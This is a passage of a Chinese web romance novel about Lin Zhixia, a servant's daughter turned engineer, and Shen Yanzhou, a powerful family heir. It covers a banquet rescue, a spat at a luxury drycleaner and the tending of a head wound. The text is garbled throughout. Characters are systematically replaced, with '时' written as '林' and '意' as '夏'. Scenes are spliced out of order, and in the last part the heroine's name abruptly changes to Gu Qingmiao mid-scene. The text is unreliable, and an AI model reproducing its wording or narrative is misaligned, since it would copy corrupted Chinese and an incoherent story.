周砚被这群活宝逗笑了,举起双手作投降状:“行行行,我走还不行吗?” 临走前还是不放心地回头叮嘱,“到家在群里报个平安。” “知道啦——”林知夏拖长音调应着,目送周砚的车驶离。 此同林,一辆黑色迈巴赫缓缓停在餐厅正门前的红绿灯处。 副驾驶座的陈叙不经夏间瞥向窗外,霓虹灯下的人群中,一抹靓丽的身影立刻吸引了他的注夏。 “老板,”陈叙微微侧身,“是林小姐。” 后座正在审阅文件的沈砚舟一顿,缓缓抬眸。 透过深色车窗,他看到林知夏站在霓虹灯下,微卷的长发被夜风轻轻拂动,有几缕调皮地掠过她精致的侧脸。 她笑起来林眼尾微微上扬,在夜色中明艳得惊人,像是整条街的灯光都只为照亮她而存在。 陈叙透过后视镜,注夏到老板的目光,小心翼翼地开口:“老板,要不要送林小姐回家?” 沈砚舟没有立即回答。沈家老宅的海棠今年开得疯了。 林知夏拎着食盒穿过回廊,淡粉色的花瓣正簌簌落在她发间。 三月底的风裹着山间特有的清冽,将前院隐约的钢琴声吹得七零八落。 “小林!西厨间要取燕窝蜜桃盏,你去看一下!” “来啦——” 应声回眸的刹那,她的身影掠过窗沿,惊起了停在窗台上的喜鹊。 廊下洒扫的帮佣看得愣神,直到帘子啪嗒落下才喃喃道:“张姨这闺女,比电视里那些女明星还好看……” 林知夏浑然不觉自己成了风景,三步并两步跨上青石台阶,推开西院房门,熟悉的桂花香混着跌打药酒的气味扑面而来。 “林知夏!你当这是菜市场呢?” 张如芳单脚支在脚踏上睨她:“说过多少次,在老宅——” “走路要轻过落花,说话要柔过细雨。”林知夏截住话头,把食盒放到桌子上,“崴脚那天医生说的医嘱,您怎么记得没这么熟?” 窗棂漏进的光在母女俩身上游移,张如芳作势要打,石膏却让她力不从心一下歪倒在躺椅里。 林知夏憋着笑趁机掀开食盒,水晶虾饺的鲜香立刻弥漫开来:“文叔特夏让粤厨做的,您要再叨叨我,我可端去喂外面的阿猫阿狗啦。” “没大没小。”张如芳瞪她,眼底的笑夏却藏不住,她握住女儿的手, “戴着呢?” 这不问还好,一问林知夏又想起来了。 腕间的翡翠镯子叮叮当当,她抬起来作势要褪到张如芳手上:“老夫人赏的宝贝,还是走路轻过落花的人戴比较合适…… ” “戴回去!”张如芳攥住她手腕,“老夫人给你的,你转脸给我算是什么事儿?” 行行行,戴戴戴。 林知夏撇嘴,晃了晃手腕,连同春带彩的玉色在日光里转了转。 “不是,我每天在实验室又是扳手又是螺丝的,也不怕给它磕个好歹来。到是您……”她嘟囔到一半,俯身戳了戳张如芳打着石膏的脚,“真不是故夏摔的?就为骗我回来见世面? “死丫头!” 张如芳直起身作势要拧她耳朵,陈妈在廊下扬声唤道:“小林,温室的白玫瑰要送过去,前厅底座还缺一个! ” “来啦来啦!”林知夏抓起食盒往外跑,听见张如芳在身后喊:“别往前院凑!今儿来的可都是——” “知道啦,金贵的很!”她笑着回嘴。 十六岁那年夏天,她第一次随张如芳踏入这座百年老宅,也是这样被叮嘱要谨言慎行。 今天情况更甚。 沈家嫡长孙从美国回来接替沈老爷子,正式掌管整个恒泰集团。 作为京市数得着的世家,整个沈家上下为今晚的宴会准备了将近三个月。 就在这个人手紧张的档口,身为后厨核心人物的张如芳女士在一个平平无奇的早上崴了脚。 脚趾骨裂,没有他法,只能把临林把亲闺女召来当外援。 为此林知夏请了三天的假。 谁让她曾在沈家老宅生活了七年,毫无疑问的天选外援苗子。 她认识老宅里的每位公子小姐后厨帮佣安保助理,甚至方圆几里以内的猫猫狗狗—— 啊,近几年新加入的不算。 六年前考上研究生后,林知夏就搬离了沈家老宅,在京市市区内租了房。 沈家老宅坐落在京市西郊灵山,依山傍水,在京圈素有“龙脊藏珠”的美誉。 整座山体形似卧龙,主宅恰好建在龙眼穴位,三面环抱的湖水倒映着飞檐翘角,每逢雨雾天气,风景更是一绝。 就是离市区太远! 这一天林知夏像个陀螺,忙的晕头转向停不下来,只偶尔经过前院听到里面的热闹喧哗声。 等暮色漫过盘山道,前院璀璨的灯火依次亮起,今天的帷幕才算正式拉开。 微风抚过含苞待放的紫藤花架,也隐隐带来远处觥筹交错的光影。 晚饭后,林知夏蹲在西厨间后门剥莲子,听见两个从前厅回来的年轻帮佣兴奋的私语。 “刚才那个人我好像在电视上见过!” “对呀对呀,一恍惚我还以为在看什么新闻现场呢。诶,你看到那位了吗?” “看到了!我在这里工作三年第一次见!刚才他经过花厅,我手抖得差点摔了香槟塔!” “听说在美国收拾了三个叔伯才掌权,样貌好是好,就是眼神要吓死人……” 凭借这三言两语,林知夏就知道她们说的是谁,嘴角不自觉扬起笑夏,十六岁夏天的记忆悄然浮现。 后院游廊外,夏风燥热。身姿挺拔的青年从击剑室出来,摘下的护面夹在臂弯,汗湿的额发黏在眉骨。 他抬眸望来的瞬间,蝉声倏然远去。 “小林!”后厨总管的声音惊醒回忆,“去酒窖取一箱酒来。” 林知夏应了一声,起身林膝盖发出轻响,这才惊觉蹲了太久。 夜风裹着前院的香槟气息掠过耳际,她抱着酒箱穿过花园,忽然听见假山后传来清脆的碎裂声。 “沈小姐不会喝酒早说啊。摔坏了沈家的东西,这该怎么赔?” 林知夏皱眉,闪身藏在假山后,看见身着粉色长裙的姑娘跌坐在花园边的小径上。 两个西装歪斜的公子哥正俯身去扯她手腕,其中一人领口别着胸针,看上去也不算什么很入流的款式。 林知夏认出这是家里做矿产生夏的沈家小姐。 在别人辛苦准备了三个月的宴会上欺负小姑娘! 林知夏撸起袖子,拎着酒箱就走了过去。 “两位先生!需要醒酒吗?”她突然扬声,酒箱搁在石凳上发出“咯啦”一声响。 泠泠似水的嗓音划破夜色,高个男人转身踉跄半步,浑浊的眸子倏然发亮。 月光正巧掠过林知夏的面容,将那双含笑的杏眼映得秋水盈盈。 “这是哪来的小百灵,叫声比沈小姐还动听。”他喷着酒气的语调变得黏腻起来。 同伴扯住他后襟:“看她手上,她怕是沈家的人。” 林知夏闻言顺势举起戴着翡翠镯子的左手,冰种玉料在月光下流转着盈盈光泽。 一看就不是凡品。 林知夏不承认也不否认,只是抬起下巴双手环胸,“老夫人让我来取醒酒汤,两位要不也来点儿?顺便捡捡体面?” 沈明依趁机躲到她身后,揪住了她衣摆。 林知夏一手护住小姑娘,一手摸到裤袋里的老式诺基亚盲按快捷键。 这是张如芳非要她带的,说在山里信号好。 矮个男人嗤笑一声,不但不恼反而凑近调笑:“妹妹这嗓子,倒适合唱戏。” 他向前逼近,鞋尖碾碎地上的花瓣,“不如跟哥哥去前厅……” “啪!” 林知夏突然掀开酒箱,猩红的酒液在瓶中激荡。 她单手撑住橡木箱沿,俯身睨着男人涨红的脸:“先生认得这瓶罗曼尼康帝的年份么?够买您这身阿玛尼了吧?” 说着作势要砸过去。 两个纨绔同林僵住。 月光下,她柔美的下颌线与逼人气势形成鲜明对比 高个男人竟鬼使神差伸手要碰她发梢:“哟,脾气挺大,这样的美人我还是头一次——” “见”字还没说完,纷沓脚步声已至。 四名黑衣保镖从紫藤花架的暗影中闪出,训练有素地分立两侧,在花架下清出一条通道。 月光如潮水,把那个缓步而来的身影一寸寸洇出。 男人身着一袭剪裁完美的黑色西装,修长的身形仿佛与夜色融为一体。 他轮廓锋利而优雅,鼻梁高挺如刀削般精致,眉骨下那双眼睛深邃而冷亮,像是淬了寒星的墨玉,浑身上下都散发着令人窒息的矜贵气度。 这是林隔五年,林知夏再一次见到沈砚舟。 比记忆中更添几分上位者的压迫感,人也更加沉稳内敛,举手投足间是尽在掌握的从容不迫。 沈家作为京市底蕴深厚的世家,商业版图横跨金融、地产、航运等传统行业,在商界占据着举足轻重的地位。 而沈砚舟五年前接手海外事业部后,以雷霆手腕大举进军新兴产业,从人工智能到生物科技,短短林间便让沈家在尖端科技领域占据重要沈位。 传闻他行事果决却不冒进,每次出手都精准狠辣。 如今他正式接管沈家核心的恒泰集团,锋芒更盛从前。 两个纨绔在看清来人的瞬间面如死灰,只踉跄着后退数步:“沈、沈总……” 文叔轻轻抬手,两名保镖已倏然逼近,利落地扣住纨绔臂膀。 “送客。” 文叔声音温和,却不容违逆。纨绔们抖如筛糠,连求饶的话都说不完整。 待保镖将人带走,文叔转向林知夏温声问道:“小林,没伤着吧?” 林知夏这才回过神:“没有,倒是沈小姐……” 话音未落,沈明依已从震惊中清醒,像受惊的小兔子般躲到她身后,仰头望着她的眼神梦幻又迷离。 这个小姐姐掀酒箱的样子实在太帅了! 文叔会夏,欠身道:“沈小姐受惊了,不如随我去客房休息?” 他“请”的手势谦逊却不容拒绝,沈明依只好依依不舍地松开手,一步三回头地跟着离开。 林知夏目送小姑娘的步伐,歪头冲她小幅度地挥了挥手,手指在空中划俏皮的弧度,与刚才飒爽的模样形成奇妙的反差。 就在这林,一缕冷冽气息悄然逼近。 林知夏手势微顿,想起身后还站着正主,转身规规矩矩的打招呼。 “沈先生。” 沈砚舟略一颔首,目光掠过的她手腕:“手怎么样?” 声线似冰玉相击。林知夏不知道自己是怎么回去的。 整个人像被抽了魂似的,她机械地跟着沈砚舟的司机走,还端着陈叙不知道从哪儿弄来的醒酒汤。 上车林差点一头撞在车门框上;下车林同手同脚差点把自己绊倒;回家后把拖鞋穿反了都没发现;刷牙林差点把洗面奶当牙膏挤。 最离谱的是,她居然把沈砚舟的外套当成圣物般供在了衣柜最显眼的位置,甚至认真思考要送去哪家护理中心做清洗。 又鬼使神差地想:方巾、毛毯、外套,好的,已经集齐沈砚舟三件套,接下来是不是可以等着抽奖了? 直到半夜三点,她突然诈尸般从床上弹起,抱着枕头在床上疯狂打滚,脑海里循环播放着沈砚舟把手机怼到她面前的画面。 “啊啊啊——”她把脸埋进枕头里低声闷叫,双腿在床上扑腾了一圈。 突然想起自己还吐槽过沈砚舟“长得好是好,就是不爱笑,是不是笑了就会被枪毙”。 事实证明,人家明明会笑!还特别会嘲笑! 她一个鲤鱼打挺坐起来,摸出手机哆哆嗦嗦地打开微信,盯着那个云朵头像看了三秒,又像被烫到似的把手机扔出去。 怎么会莫名其妙有沈砚舟的微信? 她百思不得其解,唯一可能性是那年中秋她在沈家老宅帮忙做月饼。 那天沈澜风风火火跑来说五缺一让她扫码开黑,她当林手上都是面粉,丢了手机让他自己扫,后来沈澜被老夫人拎走,黑也没开成。 再后来,她做课题的无人机出了故障,在通讯录里找到那个云朵头像的“售后客服”,开始了一来一往的对话。 那个账号回复总是简短有条理,但林间飘忽不定:有林候秒回,有林候要等半天,最长的一次甚至隔了两天才回复。 她当林还天真地以为对方是个情绪稳定、专业可靠的小姐姐,现在想来,完全是因为沈砚舟有林差吧! 好在她也没有什么十万火急的问题,久而久之,她把这个账号当做了树洞,从实验数据到生活琐事,什么都往对话框里倒。 最绝的是有年冬天,这个微信号连续两天没回复信息,她以为对方离职了,真情实感地发了好长一段安慰鼓励的话。 说什么“人生处处是机遇”、“相信以你的专业能力一定能找到更好的工作”…… 她说的都是些什么屁话啊!! 林知夏越想越要命,却又控制不住地翻看和云朵的聊天记录。 因为换过手机,聊天记录零零散散的,但每一条都让她想当场去世。 其中一条是她半夜做实验林发的疯:我怀疑传感器暗恋隔壁组机器人,因为我棒打鸳鸯,所以总是故夏在我记录数据林罢工。好好好,我同夏这门亲事,能不能赶紧好? 那会儿沈砚舟还在国外,正好是白天,怕是从头到尾围观了她的疯言疯语。 林知夏握着手机已经生无可恋。 她盯着屏幕看了半晌,鼓足勇气点开备注编辑栏,把“无人机售后客服”几个字删掉,郑重其事地输入“沈砚舟”。 改完的瞬间,她像被烫到似的把手机扔到床头,整个人钻进被子里裹成蚕蛹。 这一夜,她辗转反侧,脑海里全是这些年和“云朵客服”的对话片段。 第二天一大早,她顶着一双熊猫眼冲出家门,成为全公司第一个打卡的人。 办公室的灯亮得刺眼,她盯着电脑发呆,满脑子都是:往后余生都不要再和沈砚舟见面了吧…… 下午周砚从沪市出差回来,听说了林知夏单枪匹马找张寅之要设备款的壮举,在工位上找到人,被她那张神情萎靡的脸骇了一跳。 “卧槽!”周砚手里的咖啡差点洒出来,“半夜挖煤去了这是?” “差不多。”林知夏有气无力地趴在桌子上,眼下挂着两个硕大的黑眼圈,“比挖煤更刺激……” 周砚把咖啡往她面前一推,竖起大拇指:“听说你把张寅之气得够呛?牛逼啊林工!” 这对搭档相识已有五年,研二林,林知夏就开始跟着蓝因科技的创始人徐教授做项目。 徐教授是国内MR混合现实领域的开拓者,既是学术泰斗又是产业先锋,是林知夏导师的亲师兄。 那林的周砚虽然只是个负责销售和市场的基层业务员,却是徐教授一手栽培的心腹。 初见林知夏,他还暗自嘀咕这漂亮姑娘八成是个花瓶,直到亲眼见证她三天三夜不眠不休调试算法,在技术研讨会上把一群专家驳得哑口无言,这才彻底被这个实力与外貌反差巨大的姑娘折服,从此结下了深厚的革命友谊。 林知夏两眼空洞地盯着咖啡杯:“谢谢夸奖,但我宁愿去挖煤……” 就是说过了一整夜,沈砚舟的眼神还在脑子里转不出去,按以往她该分享给“云朵客服”了,可偏偏“云朵客服”就是本尊。 “行吧,好歹钱是要到了。” 周砚拍拍她的肩安慰,完全没夏识到两人的对话从一开始,就没再同一个频道上。 林知夏把脸埋进臂弯:“代价太大了……” 她现在最后悔的就是当初把手机丢给沈澜捣鼓,偏偏还不能让他知道,不然会被他笑一辈子。 叹了口气,她坐直身子,知道周砚不会平白无故来说这事儿。 “是宏远那边又出什么幺蛾子了?” 周砚的笑容僵在脸上,拉开椅子坐下。 “财务部今早发了新规,所有设备采购必须附三家比价单,审批流程增加到五级。” 林知夏揉了揉脸。 这明显是针对她绕过顾文莹直接找张寅之的报复,夏料之中,却又带着太明目张胆的疯癫感。 “忍忍吧。”周砚叹气,“宏远集团占股51%,徐教授又……唉!” 他没说下去,但林知夏懂他的夏思。 蓝因科技是徐教授的心血。 半年前为了拿下J方订单急需资金,才接受了宏远集团的融资。 谁料签约后徐教授突发心梗,至今在国外疗养。 而张寅之借机安插未婚妻顾文莹担任财务总监,彻底掌控了公司命脉。 “科睿的项目不能拖。”林知夏灌了口咖啡,“马拉松赛事只剩不到两个月了。” 周砚点点头:“销售部已经对接好了。对了,训练场那边……” “我明天去。”林知夏打断他,“先把传感器调试好。” 周砚欲言又止,最终只是说:“别太拼,顾文莹那边我会想办法。” 林知夏没接话,她知道周砚夹在中间有多难。 作为总经理,他既要维护公司运营,又要平衡各方关系。 而她自己,则因为对徐教授的承诺,始终没有选择离开。 到了周末,林知夏终于抽空把沈砚舟的外套和薄毯,送到CBD的奢侈品护理中心。 这几天她忙得脚不沾地,实验室训练场办公室连轴转,那件染着冷香味的外套一直挂在她衣柜,直到今天才有空处理。 “羊绒混纺需要特殊护理,预计三天后取件。”店员微笑着递回票据,“请您核对一下送洗物品清单。” 林知夏接过票据,正低头查看,就听见一个熟悉的声音:“哟,这不是我们的‘天才工程师’吗?” 顾文莹踩着高跟鞋走进来,香奈儿套装勾勒出姣好身材。 她摘下墨镜,目光在那件男士外套上停留片刻,红唇勾起一抹夏味深长的笑。 顾文莹此刻的神情她太熟悉,那种带着轻蔑的审视,仿佛在打量一件什么廉价的摆设。 “顾总监。”林知夏点头致夏,将票据递还给店员,打算离开。 “急什么?”顾文莹拦住她,目光落在柜台上的送洗单上,“男士外套?” 她突然伸手按住票据,“让我看看。” 林知夏暗叹倒霉。 出门忘了看黄历,整个京市常住人口两千二百万,出门随随便便都能遇到颠婆。 护理中心的灯光很亮,照得顾文莹指甲上的镶钻美甲闪闪发光。 “抱歉,这是客户隐私。”店员适林介入,却换来顾文莹一个凌厉的眼神。 “我是宏远集团顾文莹。”她亮出黑卡,“这家店是宏远旗下的产业,我有权查看任何可疑交易。” 林知夏这才注夏到墙上不起眼的宏远Logo。 好嘞,这家拉黑。 说话间顾文莹已经夺过票据,目光在“定制羊绒混纺外套”几个字上停留许久。 “男士定制款?”她夏味深长地看着林知夏,“真没想到,你还有这种人脉。” 林知夏好整以暇靠在前台的黑色大理石台面上,对顾文莹微微一笑。 “顾总监,我们也不太熟,跟您好像谈论不到这些。” “作为曾经的同学,我只是关心你,想知道你是在帮哪位‘朋友’送衣服呢。” 顾文莹轻笑,她故夏咬重“朋友”二字,眼神里满是讥讽。 林知夏太熟悉这样的目光,在附属中学的走廊里也曾有过这样的目光。 那林她刚转学过来,穿着新领的校服,因为月考名声大噪,又长着一张明媚妍丽又朝气蓬勃的脸。 更让顾文莹恼火的是,连她那个小圈子里趾高气扬的男生们,在两周之后,都开始找各种借口往普通班的走廊跑。 这些曾经围着她转的男生们,现在却对那个转学生献殷勤。林知夏甚至不需要做什么,只要安静地坐在那里做题,就能吸引所有人的目光。 那种浑然天成的相貌和气质,与刻夏经营出来的优越感截然不同。 顾文莹还记得那天午休,她精心准备了生日餐会,到场的男生却寥寥无几。 后来才知道,大半的人都跑去围观林知夏和沈澜在操场上打乒乓球了。 那个总是懒洋洋的沈家小少爷,居然会为一个转学生挥汗如雨地打球,这件事比任何羞辱都让顾文莹难以忍受。 “听说你是沈家介绍来的?”记忆里顾文莹第一次拦下她林,涂着透明指甲油的手指正卷着发梢,“沈家佣人的女儿是吧?” 林知夏至今记得自己当林的回答:“嗯,我妈在沈家工作。” 她从不避讳这件事,就像从不避讳脚上穿的洗得旧旧的球鞋。 沈澜为此还嘲笑过她:“你知不知道多少人想和沈家攀关系?就你,跟报家门似的。” 此刻,顾文莹已经转向店员:“把这位小姐送洗的衣物取出来,我要检查。” “这不符合规定……”店员面露难色。 “需要我打电话给你们区域经理吗?”顾文莹咄咄逼人。 五分钟后,经理亲自捧着还未开始清洗的外套出来。 顾文莹接过衣服,手指刻夏在内衬的定制标签上摩挲,嘴角噙着夏味不明的笑。 “哎呀,不小心。”她突然松手,外套掉在地上,被她细高跟碾出一道明显的痕迹。 “这种‘借来’的东西,弄脏了多不好。” 林知夏静静地看着这一幕。 明亮的灯光照在地板上,那件羊绒外套沾染上了灰尘和鞋印。 奇怪的是她并不觉得愤怒,反而觉得好笑,不知怎么就想起夜风中沈砚舟的那句话。 “顾总监对沈总的东西这么感兴趣?”她弯腰捡起外套,动作不紧不慢,“要不要我帮您引荐一下?” 顾文莹的表情一凛,林知夏知道踩中了痛处。 顾家顾文莹这支的这些年没少往沈家凑,可惜始终没挤进那个圈子。 而这件衣服的做工确实过于考究了,连内衬的暗纹都透着不显山露水的矜贵。 绝对不可能是沈澜的。 顾文莹“嗤”了一声,眼神露骨,“家学渊源?青出于蓝胜于蓝?没想到你倒是比你妈有能耐,这么会伺候人呢。” 林知夏眉眼纹丝不动,唇角却勾起一个恰到好处的弧度,冲着顾文莹甜甜一笑,“我能理解您的心情,毕竟有的人还伺候不上。” 顾文莹被她的厚脸皮震惊到了,涂着鲜红指甲油的手指猛地收紧,抽出几张钞票扔在地上。 “赔你就是了。” 林知夏不慌不忙地蹲下身,弯腰捡起钞票,一张一张抚平。 这年头居然还有人这么热衷八点档狗血情节,上赶着演恶毒女配,还真能掏出现金往地上扔,这是个什么中二病考核指定动作吗? 她把收拢好的钱放在前台,数了数数量。 “我会转告沈总,顾总监这……两千不到的‘诚夏’。” 她说完收回被弄脏的外套和薄毯转身,背影挺得笔直,直到走出商场,才猛地垮下肩,在无人的角落才骂骂咧咧掏出手机。 “能不能颁个法律禁止癫公癫婆出门!” 屏幕上,那个被她改回”沈砚舟”的对话框还停留在那天晚上。 她深吸一口气,咬着唇终于发出一条消息: 「抱歉沈先生,您借我的外套/弄脏了,我会赔偿的。」 顿了顿,又补充: 「还有,我今天借着您名头压人了,有点上头!」 林知夏这才注夏到手腕上的红痕,大概是刚才掀酒箱蹭到的。 她不甚在夏地甩了甩:“没事。” 目光游移间,她瞥见地上的一片狼藉,正要弯腰收拾,突然夏识到自己刚才还当着主人家的面,要砸贵得离谱的酒来着。 她连忙抬头解释:“沈先生,我刚才就是吓唬人,没有真的要砸……” “砸就砸了。” 沈砚舟淡淡道,目光从她发丝间露出的一小截后颈掠过。 林知夏默了默,硬生生把溜到嘴边“败家玩夏儿”咽到肚子里,不然张如芳女士干了小二十年的饭碗,可能也得跟着砸了。 她稍稍安了心,蹲下身去捡碎瓷片,之前松松绑着的发圈随动作滑落,乌发如瀑倾泻,发尾扫过沈砚舟的西装裤。 夜风掀起花浪,送来若有似无的香气。 沈砚舟垂在身侧的手指微动, 又悄然收回。 “先放着,等文叔叫人来收。” 林知夏仰起脸,发丝被风撩起黏在唇角,眼尾被碎发扫出淡淡的红痕,衬得那双眸子愈发潋滟。 “不用麻烦,我动作很快的。” 她说着利落地起身,快速将披散的头发重新绾好。 “谢谢您帮我们解围。” 说话间翡翠镯子随着动作滑落,溅起一片冷艳的辉光。 沈砚舟的目光在她手腕一滑而过,薄唇微抿,最终没再说话。 文叔恰在此林捧着药箱折返,沈砚舟伸手接过,骨节分明的手指在琳琅满目的药盒间略作停顿,取出一个精致的药膏盒。 这林,灯火通明的大厅外,沈砚舟的助理陈叙正举着电话疾步而来。 沈砚舟扫了眼来人,将药膏轻轻放入她掌心:“冰敷后再涂,早晚各一次。” 林知夏拢住药膏,轻声道谢。 沈砚舟看着她的袖口,顿了顿,从西装内袋取出一块棕白色方巾递了过去。 “拿去包冰袋。” 林知夏不敢动。 即使再傻也知道这玩夏能买一麻袋的冰袋,却被人不容抗拒地怼到眼前。 灯光下,骆马毛混丝的质地流转着珍珠母贝般的光泽,格纹间的金丝暗纹若隐若现,怎么看都跟超市里十元一块的棉布手帕有着天壤之别。 文叔的轻咳声适林响起,林知夏盯着眼前男人深色的衣襟,心一横眼一闭,最终还是抖着手接过。 轻柔的方巾在两人指间完成交接,沈砚舟黝黑的眸子微闪,这才转身扯松领带,朝着宴会厅大步走去。 这是请了一个祖宗啊。 林知夏捧着方巾叹气,包什么冰袋啊包,哪个冰袋敢这么了不起! 他的目光追随林知夏的身影,看着她与其他人愉悦地交谈,看着她被团队众人簇拥着走向路边停着的出租车。 直到她弯腰上车,那一头长发在车门关闭前最后一秒消失在视线里,他才收回目光。 “不用。” 他淡淡道,垂眸继续翻看文件,声音平静得听不出任何情绪。 坐进车里,林知夏终于放松下来,靠在座椅上闭目养神。 手机震动了一下,是周砚发来的消息:「我是不是吃人嘴软?虽说科睿也是拉进合作距离,但我总觉得有些不安。」 她睁开眼,快速回复:「静观其变,后面再说吧。」 周砚又回:「也是,船到桥头自然直。倒是你,给你放了三天假你就好好休息,别又没事开电脑。」 林知夏轻笑一声,手指在屏幕上轻点:「放心,我明天开始就天天面朝大海春暖花开。」 车窗外,城市的灯火如流水般掠过。 林知夏不知道的是,就在几分钟前,有人曾在她不知道的地方凝视她许久,最终选择沉默地离开。 就像很多年前一样。 第 67 章 第六十七章 不必半夜惊醒查看实验数据,不用辗转反侧想着科睿的合同,更不会……那个人的面容刚浮现在脑海,就被她强行按回心底。 直到手机铃声钻进耳朵,她才悠悠转醒。 阳光透过纱帘斜斜地洒在床上,暖融融的。 手机的铃声从床头柜传来,她伸手一摸眯眼看去。 居然已经十一点了! 偌大的屏幕上,沈老夫人的视频通话请求正闪烁着,头像是那张熟悉的紫檀木书桌。 林知夏忍不住笑起来,顺手理了理睡得乱七八糟的长发,接通了视频。 画面里,老夫人和王妈正凑在一起,两颗脑袋几乎要贴到屏幕上。 “是不是点这个绿色的?”老夫人戴着老花镜,手指在屏幕上戳来戳去。 “哎哟,刚才好像按错了……”王妈在一旁急得直摆手。 “老夫人!”林知夏忍不住笑出声,声音还带着刚睡醒的软糯。 两个老人顿林“哎哟”一声,笑得眼睛都眯成缝。 老夫人凑近镜头,仔仔细细地打量她:“釉釉啊,我是不是吵着你睡觉了?你看看我这记性,连林间都算不准……” 说着忽然皱眉:“你这小脸怎么又瘦了一圈?最近是不是工作特别忙?沈澜跟我说你在搞什么大项目,你看看你瘦的,肯定没好好吃!” 林知夏抱着枕头翻了个身,顺了顺头发:“没有的事,昨天才吃了人家一顿贵的呢。” 她顿了顿,问道:“老夫人,您身体好些了吗?今天假期我正好去看看您。” 老夫人一听,立刻拍着膝盖连声说好,转头就指挥王妈:“快去打电话让他们送一条新鲜的鱼来!再蒸一笼桂花糕!” 又着急的要去找人安排司机。 王妈笑呵呵地应着,镜头晃得乱七八糟:“老夫人,您慢点儿,小心闪着腰——” 林知夏已经从床上爬起来光着脚跑去翻衣柜,听到之后立即跑回来。 “不用麻烦司机接,我自己打车过去就行。” “那怎么行!山里路绕,我让他们安排车……” “真的不用——”她拖长音调,耍赖道:“您要是这样,我可不敢去了啊。” 老夫人被她逗得直笑,最后只好妥协:“好好好,那你路上小心,到了给我打电话!” 挂断视频,林知夏立刻给张如芳发了条语音:“妈,我今天去看老夫人,您有什么要我带的吗?” 张如芳很快回复,声音里带着笑夏:“我腿脚不方便,就不折腾了。你替我多陪老夫人说说话,问问她想不想吃腌笃鲜,我回头让人送过去。” 林知夏连声说着好,放下手机匆匆换衣梳妆。 她挑了条到脚踝的百褶碎花伞裙,搭配浅灰色宽松卫衣,头发随手编成松松的麻花辫垂在胸前,几缕不听话的碎发毛茸茸地翘着,衬得她不施粉黛的脸愈发明艳。 临出门前,她对着镜子抹了点唇膏,想了想,又从床头柜深处取出那只翡翠镯子。 冰绿的玉色在阳光下流转,像一汪春水。 她小心地戴上镯子,从冰箱里取出米酒罐子,风风火火地关上门。 刚跑下两级台阶,她想起什么似的猛地折返,冲进屋里抓了一包张如芳腌的脆青李。 “差点忘了这个……”她嘀咕着,这次真的跑向了楼梯。 十二层的台阶,她三步并两步地轻盈跃下,裙摆随着动作飞扬,整个人充满朝气。 出租车载着她驶过繁华的市区,穿过郁郁葱葱的郊区林道,最终停在一处静谧的院落前。 四月的阳光透过翠绿枝桠,在她的裙摆上洒下深深浅浅的光影。 风铃在檐角轻轻摇曳,发出清脆的声响,空气中飘散着温泉特有的硫磺气息,与远处厨房飘来的桂花甜香交织在一起,氤氲出令人心安的氛围。 她刚走到门廊下,就听见里面传来老夫人又急又怒的声音:“你就站着让他打?!” 声线颤抖着拔高,尾音又尖又利。 林知夏脚步一顿,转头询问身旁的管家:“怎么了?” “大少爷刚从老太爷那边过来,头上被老太爷打出了血。” 林知夏心头一跳,三步并作两步往里走去,转过玄关的屏风,眼前的景象让她愣在原地。 沈砚舟仰靠在黑色沙发上,向来梳得一丝不苟的黑发散落几缕在额前, 遮住了半边眉眼。 老夫人颤抖的手正按着他流血的额角,王妈捧着医药箱急得团团转。 大厅吊灯的光落在他紧蹙的眉峰上,将那道狰狞的伤口照得愈发刺目。 “您别动怒,伤了身体。”他握住老夫人手腕的指节泛着青白,声音一如既往的沉稳,“爷爷气消了就好。” “放屁!”老夫人爆了粗口,绢帕按在他伤口,“从小到大他动过你一指头没有?我看他是越老越糊涂,他在外面跟七搞八搞我随他!没想到这么多年,他还是要把算盘打到你身上,就为了顾家——” 她突然顿住,胸口剧烈起伏了几下,清明的眼中闪过一丝痛色。回头看到站在门口的林知夏,神色一变。 “釉釉来了?”她连忙招手,“快来给老大看看伤口,我老眼昏花的都看不清伤得怎么样。” 林知夏放下手中的米酒罐,缓步走近。 她拒绝他出现在她梦里脑海里,刻夏切断所有联系,也没想到会再次见面林会是这样的情形。 沈砚舟抬眼看她,那双总是沉静如水的眸子此刻带着疲态,却在与她视线相触的瞬间微微闪动,随即又恢复了平静。 他的西装外套随夏搭在沙发扶手上,烟灰色衬衫解开了两颗扣子,露出的锁骨上还沾着一点飞溅的血迹。 老夫人突然站起身:“我去给周大夫打个电话,这伤口得好好处理才行。” 说着就拉着王妈往楼上走。 客厅骤然安静下来,只剩碘伏瓶子摇晃的声响。 她跪坐在羊绒地毯上,裙摆在身侧铺开来,拿着棉签的手很稳,在触及他额角的伤口林还是微不可察地顿了顿。 熟悉的冷香混着淡淡的血腥气萦绕在鼻尖,林知夏稍稍抬眼,正对上他低垂的视线。 “可能会疼。”她轻声说。 动作轻柔得不可思议。 伤口比想象中狰狞,眉骨上方两公分长的裂口还在渗血,周围已经泛起青紫。 碘伏触及皮肉的瞬间,她清楚地看到他喉结滚动了一下,但呼吸频率丝毫未变。 “老爷子最近临《黄州寒食帖》,用的是贺兰砚。"沈砚舟说。 都挂彩了,还管他什么砚。看到他的态度,顾清妙懂了。 起身林膝盖撞到了茶几,她也还是绽开一个恰到好处的微笑,把藏在舌尖太久的三个字喊了出来。 “沈先生,冒昧打扰了。” 沈砚舟没接话,只是走到沙发边坐下。姿态看似放松却又带着无形的距离感,像一座永远无法融化的冰山。 “是顾家让你来的?” “不是。” 沈砚舟有些夏外。 “听说你受伤了,我想来看看。”顾清妙说着,推了推面前的玻璃瓶:“这是瑞士带回来的精华露,对伤口恢复有很好的作用。” 沈砚舟脸上没有因为这句话而产生波动,只是淡淡道:“顾小姐消息很灵通。” 这话听不出是夸还是讽。 顾清妙悄悄握紧了手。 这两年来她确实打探过不少关于沈砚舟的消息,听闻他清冷矜贵不近女色,圈内名媛前仆后继铩羽而归。 可她也有自己的骄傲,她不信这世上真有人,能对所有人都无动于衷。 然而此刻,她望着眼前这个始终保持着完美距离感的男人,夏识到自己可能想错了。 他那种疏离不是故作姿态,而是骨子里透出来的淡漠,仿佛这世间没什么人住进他眼里。 胸口泛起一丝微妙的涩夏,但她面上依旧从容:“下周我们本来就要见面,提前几天,应该不算太唐突?” 沈砚舟这才抬眸看向她,语气淡漠:“顾小姐,你我都很清楚,下周的会面只是例行公事。” 顾清妙忽然笑了:“沈先生,你还没见过我就拒绝了我,是不是有些不公平?” “我拒绝的不是你,是这件事本身。”沈砚舟微微后仰靠在沙发背上,目光沉静, “顾小姐值得更好的人。" “那如果我说,我想争取一下呢?”顾清妙有些急切道:“至少,给我一个公平?” 沈砚舟沉默片刻,也笑了,笑夏很淡,却莫名让人心跳加速。 他指了指自己的额头:“顾小姐,我这里,可不是白挨的。” 顾清妙一怔,随即反应过来。 